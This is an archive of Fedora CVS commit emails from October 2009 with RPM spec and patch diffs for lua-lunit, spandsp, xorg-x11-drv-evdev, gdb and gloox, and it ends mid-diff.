 lunit.lua |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE lua-lunit-0.4-myerror.patch ---
--- a/lunit.lua
+++ b/lunit.lua
@@ -595,7 +595,7 @@ function main(argv)
     end
     local chunk, err = loadfile(filename)
     if err then
-      myerror(err)
+      return error(err)
     else
       chunk()
     end

Index: lua-lunit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lua-lunit/F-10/lua-lunit.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lua-lunit.spec	25 Sep 2009 02:20:16 -0000	1.1
+++ lua-lunit.spec	19 Oct 2009 04:04:29 -0000	1.2
@@ -3,13 +3,15 @@
 
 Name:           lua-lunit
 Version:        0.4
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Unit testing framework for Lua
 
 Group:          Development/Libraries
 License:        MIT
 URL:            http://nessie.de/mroth/lunit/index.html
 Source0:        http://nessie.de/mroth/lunit/lunit-%{version}.tar.gz
+# http://repo.or.cz/w/lunit.git?a=commit;h=e30764d7d344991dc4b956df794df29693a138ca
+Patch0:         %{name}-0.4-myerror.patch
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 # for running tests
@@ -30,6 +32,7 @@ of approximately 710 assertions.
 
 %prep
 %setup -q -n lunit-%{version}
+%patch0 -p0 -b .myerror
 
 
 %build
@@ -61,5 +64,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 0.4-2
+- Patch out the use of non-existent myerror fn
+
 * Thu Sep 10 2009 Michel Salim <salimma at fedoraproject.org> - 0.4-1
 - Initial package



From salimma at fedoraproject.org  Mon Oct 19 04:04:30 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Mon, 19 Oct 2009 04:04:30 +0000 (UTC)
Subject: rpms/lua-lunit/F-12 lua-lunit-0.4-myerror.patch, NONE,
	1.1 lua-lunit.spec, 1.1, 1.2
Message-ID: <20091019040430.BC20111C00E5@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/lua-lunit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15100/F-12

Modified Files:
	lua-lunit.spec 
Added Files:
	lua-lunit-0.4-myerror.patch 
Log Message:
* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 0.4-2
- Patch out the use of non-existent myerror fn


lua-lunit-0.4-myerror.patch:
 lunit.lua |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE lua-lunit-0.4-myerror.patch ---
--- a/lunit.lua
+++ b/lunit.lua
@@ -595,7 +595,7 @@ function main(argv)
     end
     local chunk, err = loadfile(filename)
     if err then
-      myerror(err)
+      return error(err)
     else
       chunk()
     end

Index: lua-lunit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lua-lunit/F-12/lua-lunit.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lua-lunit.spec	25 Sep 2009 02:20:17 -0000	1.1
+++ lua-lunit.spec	19 Oct 2009 04:04:30 -0000	1.2
@@ -3,13 +3,15 @@
 
 Name:           lua-lunit
 Version:        0.4
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Unit testing framework for Lua
 
 Group:          Development/Libraries
 License:        MIT
 URL:            http://nessie.de/mroth/lunit/index.html
 Source0:        http://nessie.de/mroth/lunit/lunit-%{version}.tar.gz
+# http://repo.or.cz/w/lunit.git?a=commit;h=e30764d7d344991dc4b956df794df29693a138ca
+Patch0:         %{name}-0.4-myerror.patch
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 # for running tests
@@ -30,6 +32,7 @@ of approximately 710 assertions.
 
 %prep
 %setup -q -n lunit-%{version}
+%patch0 -p0 -b .myerror
 
 
 %build
@@ -61,5 +64,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 0.4-2
+- Patch out the use of non-existent myerror fn
+
 * Thu Sep 10 2009 Michel Salim <salimma at fedoraproject.org> - 0.4-1
 - Initial package



From salimma at fedoraproject.org  Mon Oct 19 04:04:30 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Mon, 19 Oct 2009 04:04:30 +0000 (UTC)
Subject: rpms/lua-lunit/F-11 lua-lunit-0.4-myerror.patch, NONE,
	1.1 lua-lunit.spec, 1.1, 1.2
Message-ID: <20091019040430.5A96C11C00E5@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/lua-lunit/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15100/F-11

Modified Files:
	lua-lunit.spec 
Added Files:
	lua-lunit-0.4-myerror.patch 
Log Message:
* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 0.4-2
- Patch out the use of non-existent myerror fn


lua-lunit-0.4-myerror.patch:
 lunit.lua |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE lua-lunit-0.4-myerror.patch ---
--- a/lunit.lua
+++ b/lunit.lua
@@ -595,7 +595,7 @@ function main(argv)
     end
     local chunk, err = loadfile(filename)
     if err then
-      myerror(err)
+      return error(err)
     else
       chunk()
     end

Index: lua-lunit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lua-lunit/F-11/lua-lunit.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lua-lunit.spec	25 Sep 2009 02:20:16 -0000	1.1
+++ lua-lunit.spec	19 Oct 2009 04:04:30 -0000	1.2
@@ -3,13 +3,15 @@
 
 Name:           lua-lunit
 Version:        0.4
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Unit testing framework for Lua
 
 Group:          Development/Libraries
 License:        MIT
 URL:            http://nessie.de/mroth/lunit/index.html
 Source0:        http://nessie.de/mroth/lunit/lunit-%{version}.tar.gz
+# http://repo.or.cz/w/lunit.git?a=commit;h=e30764d7d344991dc4b956df794df29693a138ca
+Patch0:         %{name}-0.4-myerror.patch
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 # for running tests
@@ -30,6 +32,7 @@ of approximately 710 assertions.
 
 %prep
 %setup -q -n lunit-%{version}
+%patch0 -p0 -b .myerror
 
 
 %build
@@ -61,5 +64,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 0.4-2
+- Patch out the use of non-existent myerror fn
+
 * Thu Sep 10 2009 Michel Salim <salimma at fedoraproject.org> - 0.4-1
 - Initial package



From salimma at fedoraproject.org  Mon Oct 19 04:04:29 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Mon, 19 Oct 2009 04:04:29 +0000 (UTC)
Subject: rpms/lua-lunit/EL-5 lua-lunit-0.4-myerror.patch, NONE,
	1.1 lua-lunit.spec, 1.1, 1.2
Message-ID: <20091019040429.8D21D11C00E5@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/lua-lunit/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15100/EL-5

Modified Files:
	lua-lunit.spec 
Added Files:
	lua-lunit-0.4-myerror.patch 
Log Message:
* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 0.4-2
- Patch out the use of non-existent myerror fn


lua-lunit-0.4-myerror.patch:
 lunit.lua |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE lua-lunit-0.4-myerror.patch ---
--- a/lunit.lua
+++ b/lunit.lua
@@ -595,7 +595,7 @@ function main(argv)
     end
     local chunk, err = loadfile(filename)
     if err then
-      myerror(err)
+      return error(err)
     else
       chunk()
     end

Index: lua-lunit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lua-lunit/EL-5/lua-lunit.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lua-lunit.spec	25 Sep 2009 02:20:16 -0000	1.1
+++ lua-lunit.spec	19 Oct 2009 04:04:29 -0000	1.2
@@ -3,13 +3,15 @@
 
 Name:           lua-lunit
 Version:        0.4
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Unit testing framework for Lua
 
 Group:          Development/Libraries
 License:        MIT
 URL:            http://nessie.de/mroth/lunit/index.html
 Source0:        http://nessie.de/mroth/lunit/lunit-%{version}.tar.gz
+# http://repo.or.cz/w/lunit.git?a=commit;h=e30764d7d344991dc4b956df794df29693a138ca
+Patch0:         %{name}-0.4-myerror.patch
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 # for running tests
@@ -30,6 +32,7 @@ of approximately 710 assertions.
 
 %prep
 %setup -q -n lunit-%{version}
+%patch0 -p0 -b .myerror
 
 
 %build
@@ -61,5 +64,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 0.4-2
+- Patch out the use of non-existent myerror fn
+
 * Thu Sep 10 2009 Michel Salim <salimma at fedoraproject.org> - 0.4-1
 - Initial package



From salimma at fedoraproject.org  Mon Oct 19 04:04:31 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Mon, 19 Oct 2009 04:04:31 +0000 (UTC)
Subject: rpms/lua-lunit/devel lua-lunit-0.4-myerror.patch, NONE,
	1.1 lua-lunit.spec, 1.1, 1.2
Message-ID: <20091019040431.1AD8511C00E5@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/lua-lunit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15100/devel

Modified Files:
	lua-lunit.spec 
Added Files:
	lua-lunit-0.4-myerror.patch 
Log Message:
* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 0.4-2
- Patch out the use of non-existent myerror fn


lua-lunit-0.4-myerror.patch:
 lunit.lua |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE lua-lunit-0.4-myerror.patch ---
--- a/lunit.lua
+++ b/lunit.lua
@@ -595,7 +595,7 @@ function main(argv)
     end
     local chunk, err = loadfile(filename)
     if err then
-      myerror(err)
+      return error(err)
     else
       chunk()
     end

Index: lua-lunit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lua-lunit/devel/lua-lunit.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lua-lunit.spec	25 Sep 2009 02:20:17 -0000	1.1
+++ lua-lunit.spec	19 Oct 2009 04:04:30 -0000	1.2
@@ -3,13 +3,15 @@
 
 Name:           lua-lunit
 Version:        0.4
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Unit testing framework for Lua
 
 Group:          Development/Libraries
 License:        MIT
 URL:            http://nessie.de/mroth/lunit/index.html
 Source0:        http://nessie.de/mroth/lunit/lunit-%{version}.tar.gz
+# http://repo.or.cz/w/lunit.git?a=commit;h=e30764d7d344991dc4b956df794df29693a138ca
+Patch0:         %{name}-0.4-myerror.patch
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 # for running tests
@@ -30,6 +32,7 @@ of approximately 710 assertions.
 
 %prep
 %setup -q -n lunit-%{version}
+%patch0 -p0 -b .myerror
 
 
 %build
@@ -61,5 +64,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 0.4-2
+- Patch out the use of non-existent myerror fn
+
 * Thu Sep 10 2009 Michel Salim <salimma at fedoraproject.org> - 0.4-1
 - Initial package



From itamarjp at fedoraproject.org  Mon Oct 19 04:12:26 2009
From: itamarjp at fedoraproject.org (Itamar Reis Peixoto)
Date: Mon, 19 Oct 2009 04:12:26 +0000 (UTC)
Subject: rpms/spandsp/EL-5 import.log, NONE, 1.1 .cvsignore, 1.12,
	1.13 sources, 1.12, 1.13 spandsp.spec, 1.12, 1.13
Message-ID: <20091019041226.F078D11C00DC@cvs1.fedora.phx.redhat.com>

Author: itamarjp

Update of /cvs/pkgs/rpms/spandsp/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24715/EL-5

Modified Files:
	.cvsignore sources spandsp.spec 
Added Files:
	import.log 
Log Message:
- upgrade spandsp to the latest version - required for callweaver / asterisk in EL



--- NEW FILE import.log ---
spandsp-0_0_6-0_1_pre12_fc12:EL-5:spandsp-0.0.6-0.1.pre12.fc12.src.rpm:1255925408


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/spandsp/EL-5/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	12 Nov 2007 22:19:16 -0000	1.12
+++ .cvsignore	19 Oct 2009 04:12:26 -0000	1.13
@@ -1 +1 @@
-spandsp-0.0.4pre15.tgz
+spandsp-0.0.6pre12.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/spandsp/EL-5/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	12 Nov 2007 22:19:16 -0000	1.12
+++ sources	19 Oct 2009 04:12:26 -0000	1.13
@@ -1 +1 @@
-5c0147612e040fc72b29a5c519bd5154  spandsp-0.0.4pre15.tgz
+497e04c890ee864c629908a169507238  spandsp-0.0.6pre12.tgz


Index: spandsp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/spandsp/EL-5/spandsp.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- spandsp.spec	12 Nov 2007 22:19:16 -0000	1.12
+++ spandsp.spec	19 Oct 2009 04:12:26 -0000	1.13
@@ -1,10 +1,10 @@
-%define pre 15
+%define pre 12
 
 Summary: A DSP library for telephony
 Name: spandsp
-Version: 0.0.4
-Release: 0.7%{?pre:.pre%{pre}}%{?dist}
-License: GPLv2
+Version: 0.0.6
+Release: 0.1%{?pre:.pre%{pre}}%{?dist}
+License: LGPLv2 and GPLv2
 Group: System Environment/Libraries
 URL: http://www.soft-switch.org/
 Source: http://www.soft-switch.org/downloads/spandsp/spandsp-%{version}%{?pre:pre%{pre}}.tgz
@@ -14,6 +14,8 @@ BuildRequires: libtiff-devel
 BuildRequires: libxml2-devel
 BuildRequires: audiofile-devel
 BuildRequires: doxygen
+BuildRequires: libxslt
+BuildRequires: docbook-style-xsl
 
 %description
 SpanDSP is a library of DSP functions for telephony, in the 8000
@@ -57,13 +59,14 @@ find doc/api -type f | xargs touch -r co
 rm -rf %{buildroot}
 make install DESTDIR=%{buildroot}
 rm %{buildroot}%{_libdir}/libspandsp.la
+mkdir -p %{buildroot}%{_datadir}/spandsp
 
 %clean
 rm -rf %{buildroot}
 
 %files
 %defattr(-,root,root,-)
-%doc DueDiligence ChangeLog AUTHORS COPYING NEWS README 
+%doc DueDiligence ChangeLog AUTHORS COPYING NEWS README
 
 %{_libdir}/libspandsp.so.*
 
@@ -74,6 +77,7 @@ rm -rf %{buildroot}
 %{_includedir}/spandsp.h
 %{_includedir}/spandsp
 %{_libdir}/libspandsp.so
+%{_libdir}/pkgconfig/spandsp.pc
 
 %files apidoc
 %defattr(-,root,root,-)
@@ -84,6 +88,30 @@ rm -rf %{buildroot}
 %postun -p /sbin/ldconfig
 
 %changelog
+* Tue Jul 28 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 0.0.6-0.1.pre12
+- Update to 0.0.6pre12
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.0.5-0.3.pre4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.0.5-0.2.pre4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Wed Jul 30 2008 Jeffrey C. Ollie <jeff at ocjtech.us> - 0.0.5-0.1.pre4
+- Update to 0.0.5pre4
+
+* Thu Mar 20 2008 Jeffrey C. Ollie <jeff at ocjtech.us> - 0.0.4-0.10.pre18
+- Update to 0.0.4pre18
+
+* Mon Feb 11 2008 Jeffrey C. Ollie <jeff at ocjtech.us> - 0.0.4-0.9.pre16
+- Rebuild for GCC 4.3
+
+* Fri Nov 30 2007 Jeffrey C. Ollie <jeff at ocjtech.us> - 0.0.4-0.8.pre16
+- Fix release version
+
+* Fri Nov 30 2007 Jeffrey C. Ollie <jeff at ocjtech.us> - 0.0.4-0.8.pre16
+- Update to 0.0.4pre16
+
 * Fri Nov  1 2007 Jeffrey C. Ollie <jeff at ocjtech.us> - 0.0.4-0.7.pre15
 - Update to 0.0.4pre15
 



From whot at fedoraproject.org  Mon Oct 19 04:24:57 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Mon, 19 Oct 2009 04:24:57 +0000 (UTC)
Subject: rpms/xorg-x11-drv-evdev/F-12 .cvsignore, 1.40, 1.41 sources, 1.40, 
	1.41 xorg-x11-drv-evdev.spec, 1.62, 1.63
Message-ID: <20091019042457.9657011C00DC@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/xorg-x11-drv-evdev/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29253

Modified Files:
	.cvsignore sources xorg-x11-drv-evdev.spec 
Log Message:
* Mon Oct 19 2009 Peter Hutterer <peter.hutterer at redhat.com> 2.3.0-1
- evdev 2.3.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-evdev/F-12/.cvsignore,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- .cvsignore	8 Oct 2009 06:20:38 -0000	1.40
+++ .cvsignore	19 Oct 2009 04:24:57 -0000	1.41
@@ -1 +1 @@
-xf86-input-evdev-2.2.99.2.tar.bz2
+xf86-input-evdev-2.3.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-evdev/F-12/sources,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- sources	8 Oct 2009 06:20:38 -0000	1.40
+++ sources	19 Oct 2009 04:24:57 -0000	1.41
@@ -1 +1 @@
-2412a5d422169e79bde62b8362bc70b7  xf86-input-evdev-2.2.99.2.tar.bz2
+21dac6461379d67ee3b333c77f63e7bf  xf86-input-evdev-2.3.0.tar.bz2


Index: xorg-x11-drv-evdev.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-evdev/F-12/xorg-x11-drv-evdev.spec,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- xorg-x11-drv-evdev.spec	8 Oct 2009 06:20:38 -0000	1.62
+++ xorg-x11-drv-evdev.spec	19 Oct 2009 04:24:57 -0000	1.63
@@ -6,7 +6,7 @@
 
 Summary:    Xorg X11 evdev input driver
 Name:	    xorg-x11-drv-evdev
-Version:    2.2.99.2
+Version:    2.3.0
 Release:    1%{?dist}
 URL:	    http://www.x.org
 License:    MIT
@@ -71,6 +71,9 @@ X.Org X11 evdev input driver development
 
 
 %changelog
+* Mon Oct 19 2009 Peter Hutterer <peter.hutterer at redhat.com> 2.3.0-1
+- evdev 2.3.0
+
 * Thu Oct 08 2009 Peter Hutterer <peter.hutterer at redhat.com> 2.2.99.2-1
 - evdev 2.2.99.2
 



From jkratoch at fedoraproject.org  Mon Oct 19 04:56:48 2009
From: jkratoch at fedoraproject.org (Jan Kratochvil)
Date: Mon, 19 Oct 2009 04:56:48 +0000 (UTC)
Subject: rpms/gdb/F-12 gdb.spec,1.392,1.393
Message-ID: <20091019045648.F284B11C00DC@cvs1.fedora.phx.redhat.com>

Author: jkratoch

Update of /cvs/pkgs/rpms/gdb/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6388

Modified Files:
	gdb.spec 
Log Message:
* Mon Oct 19 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-2
- Sync the .spec with RHEL/CentOS without EPEL, do not BuildRequires: fpc there.



Index: gdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdb/F-12/gdb.spec,v
retrieving revision 1.392
retrieving revision 1.393
diff -u -p -r1.392 -r1.393
--- gdb.spec	7 Oct 2009 19:17:19 -0000	1.392
+++ gdb.spec	19 Oct 2009 04:56:47 -0000	1.393
@@ -14,7 +14,7 @@ Version: 7.0
 
 # The release always contains a leading reserved number, start it at 1.
 # `upstream' is not a part of `name' to stay fully rpm dependencies compatible for the testing.
-Release: 1%{?_with_upstream:.upstream}%{?dist}
+Release: 2%{?_with_upstream:.upstream}%{?dist}
 
 License: GPLv3+
 Group: Development/Debuggers
@@ -386,7 +386,10 @@ BuildRequires: libstdc++
 %if 0%{?_with_testsuite:1}
 BuildRequires: sharutils dejagnu
 # gcc-objc++ is not covered by the GDB testsuite.
-BuildRequires: gcc gcc-c++ gcc-gfortran gcc-java gcc-objc fpc glibc-static
+BuildRequires: gcc gcc-c++ gcc-gfortran gcc-java gcc-objc glibc-static
+%if 0%{!?rhel:1}
+BuildRequires: fpc
+%endif
 # Ensure the devel libraries are installed for both multilib arches.
 %define multilib_64_archs sparc64 ppc64 s390x x86_64
 # Copied from gcc-4.1.2-32
@@ -851,6 +854,9 @@ fi
 %endif
 
 %changelog
+* Mon Oct 19 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-2
+- Sync the .spec with RHEL/CentOS without EPEL, do not BuildRequires: fpc there.
+
 * Wed Oct  7 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-1
 - Formal upgrade to the final FSF GDB release gdb-7.0.
 - Fix GNU/Linux core open: Can't read pathname for load map: Input/output error.



From hubbitus at fedoraproject.org  Mon Oct 19 05:13:23 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Mon, 19 Oct 2009 05:13:23 +0000 (UTC)
Subject: rpms/gloox/F-11 .cvsignore, 1.3, 1.4 gloox.spec, 1.2, 1.3 sources,
	1.3, 1.4
Message-ID: <20091019051323.2D05E11C00DC@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/gloox/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7411

Modified Files:
	.cvsignore gloox.spec sources 
Log Message:
* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.8.SVNr4204
- New build due resolve my bugreport https://mail.camaya.net/horde/whups/ticket/?id=157

* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.7.SVNr4203
- rc3.
- Euroelessar (one of qutIM developer, thank you) submit patches:
	http://bugs.camaya.net/horde/whups/ticket/?id=110
	http://bugs.camaya.net/horde/whups/ticket/?id=155
	http://bugs.camaya.net/horde/whups/ticket/?id=154
	http://bugs.camaya.net/horde/whups/ticket/?id=153
	http://bugs.camaya.net/horde/whups/ticket/?id=152
	http://bugs.camaya.net/horde/whups/ticket/?id=151
	http://bugs.camaya.net/horde/whups/ticket/?id=150
	http://bugs.camaya.net/horde/whups/ticket/?id=149
	all is important and rev 4200 at least required.
- Include UPGRADING to %%doc




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	30 Jul 2009 13:50:39 -0000	1.3
+++ .cvsignore	19 Oct 2009 05:13:21 -0000	1.4
@@ -1 +1 @@
-gloox-1.0-SVNr4029.tar.bz2
+gloox-1.0rc3-SVNr4204.tar.bz2


Index: gloox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/F-11/gloox.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gloox.spec	30 Jul 2009 13:50:40 -0000	1.2
+++ gloox.spec	19 Oct 2009 05:13:21 -0000	1.3
@@ -1,17 +1,17 @@
 #% define beta 7
-%define SVN 4029
+%define SVN 4204
 
 Name:		gloox
-Version:		1.0
-Release:		0.7.%{?beta:beta%{beta}}%{?SVN:SVNr%{SVN}}%{?dist}
+Version:		1.0rc3
+Release:		0.8.%{?beta:beta%{beta}}%{?SVN:SVNr%{SVN}}%{?dist}
 Summary:		A rock-solid, full-featured Jabber/XMPP client library
 Group:		System Environment/Libraries
 License:		GPLv2
 URL:			http://camaya.net/gloox
 #Source0:		http://camaya.net/download/%{name}-%{version}%{?beta:-beta%{beta}}.tar.bz2
 
-# svn export -r4029 svn://svn.camaya.net/gloox/trunk gloox-1.0 && \
-#	tar -cjf gloox-1.0-SVNr4029.tar.bz2 gloox-1.0
+# svn export svn://svn.camaya.net/gloox/trunk gloox-1.0rc3 \
+#	tar -cjf gloox-1.0rc3-SVNr4203.tar.bz2 gloox-1.0rc3
 Source0:		%{name}-%{version}%{?beta:-beta%{beta}}%{?SVN:-SVNr%{SVN}}.tar.bz2
 
 #Patch1:		gloox-no_ns_get16.patch
@@ -51,6 +51,7 @@ developing applications that use %{name}
 %endif
 
 %configure --disable-static
+
 make %{?_smp_mflags}
 # recode to UTF
 mv -f AUTHORS AUTHORS.old
@@ -70,7 +71,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS ChangeLog LICENSE README TODO
+%doc AUTHORS ChangeLog LICENSE README TODO UPGRADING
 %{_libdir}/*.so.*
 
 %files devel
@@ -82,6 +83,23 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so
 
 %changelog
+* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.8.SVNr4204
+- New build due resolve my bugreport https://mail.camaya.net/horde/whups/ticket/?id=157
+
+* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.7.SVNr4203
+- rc3.
+- Euroelessar (one of qutIM developer, thank you) submit patches:
+	http://bugs.camaya.net/horde/whups/ticket/?id=110
+	http://bugs.camaya.net/horde/whups/ticket/?id=155
+	http://bugs.camaya.net/horde/whups/ticket/?id=154
+	http://bugs.camaya.net/horde/whups/ticket/?id=153
+	http://bugs.camaya.net/horde/whups/ticket/?id=152
+	http://bugs.camaya.net/horde/whups/ticket/?id=151
+	http://bugs.camaya.net/horde/whups/ticket/?id=150
+	http://bugs.camaya.net/horde/whups/ticket/?id=149
+	all is important and rev 4200 at least required.
+- Include UPGRADING to %%doc
+
 * Wed Jul 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0-0.6.SVNr4029
 - New build due to close several bugs:
 	https://mail.camaya.net/horde/whups/ticket/?id=140 - delete patch gloox-1.0-beta-SVNr4003-missed_header.patch


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	30 Jul 2009 13:50:40 -0000	1.3
+++ sources	19 Oct 2009 05:13:21 -0000	1.4
@@ -1 +1 @@
-280e5dc6790ff3cb0418c9b309f16aa9  gloox-1.0-SVNr4029.tar.bz2
+438edd7e83792c2e1905154e79bcd048  gloox-1.0rc3-SVNr4204.tar.bz2



From hubbitus at fedoraproject.org  Mon Oct 19 05:24:38 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Mon, 19 Oct 2009 05:24:38 +0000 (UTC)
Subject: rpms/gloox/F-12 .cvsignore, 1.3, 1.4 gloox.spec, 1.3, 1.4 sources,
	1.3, 1.4
Message-ID: <20091019052438.E7BB611C00DC@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/gloox/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14541

Modified Files:
	.cvsignore gloox.spec sources 
Log Message:
* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.8.SVNr4204
- New build due resolve my bugreport https://mail.camaya.net/horde/whups/ticket/?id=157

* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.7.SVNr4203
- rc3.
- Euroelessar (one of qutIM developer, thank you) submit patches:
	http://bugs.camaya.net/horde/whups/ticket/?id=110
	http://bugs.camaya.net/horde/whups/ticket/?id=155
	http://bugs.camaya.net/horde/whups/ticket/?id=154
	http://bugs.camaya.net/horde/whups/ticket/?id=153
	http://bugs.camaya.net/horde/whups/ticket/?id=152
	http://bugs.camaya.net/horde/whups/ticket/?id=151
	http://bugs.camaya.net/horde/whups/ticket/?id=150
	http://bugs.camaya.net/horde/whups/ticket/?id=149
	all is important and rev 4200 at least required.
- Include UPGRADING to %%doc




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	30 Jul 2009 12:15:39 -0000	1.3
+++ .cvsignore	19 Oct 2009 05:24:38 -0000	1.4
@@ -1 +1 @@
-gloox-1.0-SVNr4029.tar.bz2
+gloox-1.0rc3-SVNr4204.tar.bz2


Index: gloox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/F-12/gloox.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- gloox.spec	30 Jul 2009 12:15:39 -0000	1.3
+++ gloox.spec	19 Oct 2009 05:24:38 -0000	1.4
@@ -1,17 +1,17 @@
